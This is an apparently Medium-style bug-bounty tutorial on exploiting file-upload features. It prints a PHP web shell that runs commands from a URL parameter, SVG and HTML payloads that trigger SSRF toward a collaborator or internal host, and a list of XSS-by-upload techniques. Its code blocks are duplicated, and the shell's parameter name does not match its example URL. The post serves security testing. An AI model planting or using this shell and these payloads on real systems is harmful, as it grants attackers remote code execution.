May 31, 2026
Testing File Upload Vulnerability in web applications!!!
Hii hunters Rs is here with one more informative & knowledgeable Article. I hope you find this helpful.
By cyb3r_Rs
2 min read
In this Article i explain multiple way to exploit File Upload feature in web applications.
In this article i add multiple ways to learn and expl0it file-upload vulnerability. i read these below mentioned writeups & reports and find helpful then i add in this writeup, which is already available in the internet.
Small request: If you spot any spelling or grammatical errors, please ignore them…
Let's get started,
1. RCE via File Upload
One of the most interesting attacks that come into mind whenever there is a file upload functionality is Remote Code Execution. There are several ways to execute a code execution with malicious files, one of the most common is to upload a shell and gain further access.
PHP shell for RCE:
Try Uploading this code with .php extension and Try to locate and retrieve the php file from application. In the file url you can add 'c' parameter where you can enter commands like 'whoami'. For example, "https://example.com/shell.php?cmd=whoami"
<?php phpinfo();?>
<?php system($_GET['c']);?><?php phpinfo();?>
<?php system($_GET['c']);?>Its will not be this simple in real world application, there will be some restrictions on uploading these php files, We will talk about the file upload bypass techniques below.
Source:
RCE via .gif upload:
2. XSS via File Upload
While performing testing on file upload functionality, there are multiple ways to execute a cross-site scripting attack scenario. A file upload is a serious opportunity to find cross-site scripting (XSS) to a web application. Below are few ways to achieve XSS via File Upload-
1. XSS via Filename
2. XSS via Metadata
3. XSS via SVG file
4. Blind XSS via SVG
Reproduction Steps along with details of all the above methods can be found at one place in this awesome blog by Brutelogic. Check out the script to get Blind XSS via SVG file here:
Source:
3. SSRF via File Upload
Server-Side Request Forgery is one of the very interesting and impactful security vulnerability. A file upload functionality that may allow the use of files such as HTML or SVG files. It may an Internal SSRF, Cloud Metadata SSRF or simply an External SSRF.
1. SSRF via Filename.
Try to send URL as filename to get blind SSRF, for example filename= https://172.17.0.1/internal/file. You can also try to change type="file" to type="url" within a request.
2. SSRF via SVG Upload:
Try Uploading this code with .svg extension and retrive the svg file from application to check:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg><svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>3. SSRF via Iframe in Html:
Try Uploading this code with .html extension and retrive the html file from application to check:
<html>
<body>
<iframe src="http://collaborator.net" width="500" height="500"></iframe>
</body>
</html><html>
<body>
<iframe src="http://collaborator.net" width="500" height="500"></iframe>
</body>
</html>Source:
https://shahjerry33.medium.com/server-side-request-forgery-a-forged-document-6359ef25058d